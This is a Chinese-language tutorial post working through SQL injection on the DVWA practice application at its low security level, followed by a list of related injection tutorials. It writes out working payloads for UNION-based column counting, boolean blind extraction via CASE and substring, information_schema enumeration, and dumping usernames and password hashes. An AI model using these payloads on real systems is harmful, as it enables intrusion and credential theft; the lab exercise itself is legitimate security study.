1. 程式人生 > >SQL injection on DVWA (Low Level)

SQL injection on DVWA (Low Level)

首先看看輸入正常的ID得到什麼結果:


當輸入1‘ 時:


說明了這個id的型別是個string,資料庫是MySQL

當輸入1’ and '1'='1時,and後面的1=1是個永真式:

當輸入1‘ or '1'='1是,這個式子是個永真式,返回所有結果:


確定資料表的列數:

輸入' union select 1,2 --'


而輸入' union select 1,2,3 --'時返回

可以確定這裡資料表有兩列。

確定這個資料表有兩列後,輸入 1' and 1=1 union select database(),user()#

返回database()為dvwa,user()為[email protected]

union操作合併兩條或多條select語句的查詢結果。如果應用程式返回了第一個但是查詢得到的所有資料,在通過在一個查詢後面注入union運算子並新增另外一個任意查詢,便可以讀取到資料庫使用者訪問過的任何一個表。

還有另一個辦法檢視user(),但比較麻煩,是按位元提取資料的:

對於這樣的URL:localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

實際進行的查詢為:SELECT first_name, last_name FROM users WHERE user_id = ‘1’

因為id引數是可注入的,就可以使用字串連線技術來提取資料。

對於長度大於1的字串比較容易分,這裡主要介紹長度為1的字串如何獲得可操控的數字引數。

localhost/dvwa/vulnerabilities/sqli/?id=’%2B'1'%2B'&Submit=Submit#

對應的查詢是:SELECT first_name, last_name FROM users WHERE user_id = ‘’+‘1’+''   顯然與上面的查詢等價。

再進一步,由於1的ASCII是49,char()函式接收一個數字作為引數並返回與其對應的ASCII字元,則可以把/?id=’%2B'1'%2B'改寫為/?id=’%2Bchar(49)%2B'

獲得了可操控的數字引數,再利用CASE語句構造如下輸入:

'+char(49+(case when (substring(user(),1,1) > 't') then 1 else 0 end))+'

當返回的頁面與查詢1一致說明substring(user(),1,1) <= '某個字元'

若返回的頁面與查詢2一致說明substring(user(),1,1) > '某個字元'

利用二分查詢法就可確定user()的第一個字母是什麼,依次再查詢第二個第三個字母.......

輸入: '+char(49+(case when (substring(user(),1,1) > 'r') then 1 else 0 end))+'

因為user()的第一個字母是r,故返回頁面與查詢1是一樣的。

輸入1' and 1=1 union select null,table_name from information_schema.tables#

通過查詢information_schema系統表,看到了這個MySQL資料庫中每一個表的名字。

這這堆表名中找到了dvwa使用的表guestbook和users:


然後根據以下命令檢視uses表中的內容:

'union select null,column_name from information_schema.columns where table_name='users'-- '        不知道為什麼最後面的--與它後面的‘要空格隔開


接下來檢視users表中的user和password:

'union select user,password from users -- '

得到了密碼的MD5值。

想要一次展示更多的引數可以使用concat函式:

'union select concat(first_name,' ',last_name,' ',user),password from users -- '


相關推薦

SQL injection on DVWA (Low Level)

首先看看輸入正常的ID得到什麼結果: 當輸入1‘ 時: 說明了這個id的型別是個string,資料庫是MySQL 當輸入1’ and '1'='1時,and後面的1=1是個永真式: 當輸入1‘ or '1'='1是,這個式子是個永真式,返回所有結果: 確定資

Blind SQL Injection on DVWA(Medium Level)

Vulnerability: SQL Injection (Blind)與前面的Vulnerability: SQL Injection這兩個頁面的差別就在於有沒有有用的錯誤資訊或者我們已經習慣的反饋內容。 本文的終極任務是獲得user和password。 1.簡單的輸入測

DVWA】【SQL Injection(Blind)】SQL盲註 Low Medium High Impossible

submit strong size users bsp amp select dmi mit 1.初級篇 Low.php 加單引號提交 http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1‘&am

新手指南:DVWA-1.9全級別教程之SQL Injection

escape index.php 偽造 掌握 post 數字型註入 初學者 hsl 攻擊 *本文原創作者:lonehand,轉載須註明來自FreeBuf.COM 目前,最新的DVWA已經更新到1.9版本(http://www.dvwa.co.uk/),而網上的教程大多停

DVWA —— SQL Injection分析

一.Low 1.Low等級的php程式碼 發現沒有任何防禦 2.直接order by order by 3時錯誤 order by 2時正確 3.查詢資料庫   'union select database(),2#   得到資料庫名為dvwa 4.

DVWA ---SQL Injection

手工注入的一般步驟: 1.判斷是否存在注入,注入是字元型還是數字型 2.猜解SQL查詢語句中的欄位數 3.確定顯示的欄位順序 4.獲取當前資料庫 5.獲取資料庫中的表 6.獲取表中的欄位名 7.下載資料 dvw

DVWA-1.9全級別教程之SQL Injection

*本文原創作者:lonehand,轉載須註明來自FreeBuf.COM 目前,最新的DVWA已經更新到1.9版本(http://www.dvwa.co.uk/),而網上的教程大多停留在舊版本,且沒有針對DVWA high級別的教程,因此萌發了一個撰寫新手教程的想法,錯誤的地

SQL Server on Red Hat Enterprise Linux

rhel uri 部分 doc fonts tle web per 安裝過程 本文從零開始一步一步介紹如何在Red Hat Enterprise Linux上搭建SQL Server 2017,包括安裝系統、安裝SQL等相關步驟和方法(僅供測試學習之用,基礎篇)。 一.

SQL Server on Linux: How? Introduction: SQL Server Blog

nco adding existing initial planning for rec instance thum SQL Server Blog Official News from Microsoft’s Information Platform h

Skype for Business Server 部署SQL always on 已知問題

business skype always 文章 文章鏈接:http://yangqs.com/?p=40 本文出自 “強生的博客” 博客,請務必保留此出處http://yangqs.blog.51cto.com/127876/1934730Skype for Business Server

SQLon和where的區別

知識庫 mysq sdn pad 行數 full join sel targe 知識 這篇博客參考了網上的,具體哪一篇是原稿,不知道,特此聲明。 數據庫在通過連接兩張或多張表來返回記錄時,都會生成一張中間的臨時表,然後再將這張臨時表返回給用戶。 下面以使用le

wordpress plugins sql injection

targe bmi put pac gin alt name plain target <*form method="post" action="http://***/wp-admin/admin-ajax.php?action=get_upcp_subcategor

MySQL SQL Injection Cheat Sheet

index rem not passwd tinc comm cas ret loading MySQL SQL Injection Cheat Sheet Some useful syntax reminders for SQL Injection into MySQ

sql註入習題/ctfs.me sql injection

tro 沒有 mat ike 密碼 還原 rod space sset sql註入習題 來源於ctfs.me的一道習題,實在做不出來,google了wp,發現這道題目是引自於其他習題集了,而且原題目是有源碼的。。。於是趁機把他的題目做了一遍 level1 這道題目其實沒有源

SQL註入(dvwa環境)

esp dvwa 發現 bili .net resp 報錯 rom 字段 首先登錄DVWA主頁: 1、修改安全級別為LOW級(第一次玩別打臉),如圖中DVWA Security頁面中。 2、進入SQL Injection頁面,出錯了。(心裏想著這DVWA是官網下的不至於玩

Microsoft SQL Server on Linux 踩坑指南

stat 自己 blog ext4 cat 宣傳 requires 日誌 主機 微軟用 SQL Server 在 2016 年的時候搞了一個大新聞,宣傳 Microsoft ?? Linux 打得一眾軟粉措手不及。但是這還是好事情,Linux 上也有好用的 SQL Ser

Orabbix 監控oracle表空間 Low Level Discovery

Oracle 表空間監控 在被監控端創建腳本,此腳本用於獲取表空間及空間使用信息,此腳本由oracle用戶下創建vim mornitor_tbs.sh#!/bin/bash source /home/oracle/.bash_profile sqlplus -s zabbix/zabbix > /tmp

Zabbix監控Low level discovery實時監控網站URL狀態

discovery 分鐘 pre local 自定義 site 端口 ++ key值 今天我們來聊一聊Low level discovery這個功能,我們為什麽要用到loe level discovery這個功能呢? 很多時候,在使用zabbix監控一些東西,需要對類似於I

ecshop 2.x 3.x sql injection/rce payload

數據 file creat 版本 獲取數據 -s 公開 ant shell 首先,感謝ringk3y的分析:http://ringk3y.com/2018/08/31/ec ... %E6%89%A7%E8%A1%8C/ 大家跟一遍代碼基本上都能弄明白漏洞的原理,整個漏洞的

PentesterLab-From SQL Injection to Shell: PostgreSQL edition

反彈 injection 無法 www 圖片 img ase 分享圖片 類型 一、打開頁面,隨便點了幾下,返現和From SQL Injection to Shell差不多,直奔主題開始註入   由於PostgreSQL與MySQL不同,幾個關註點需要註意下 二、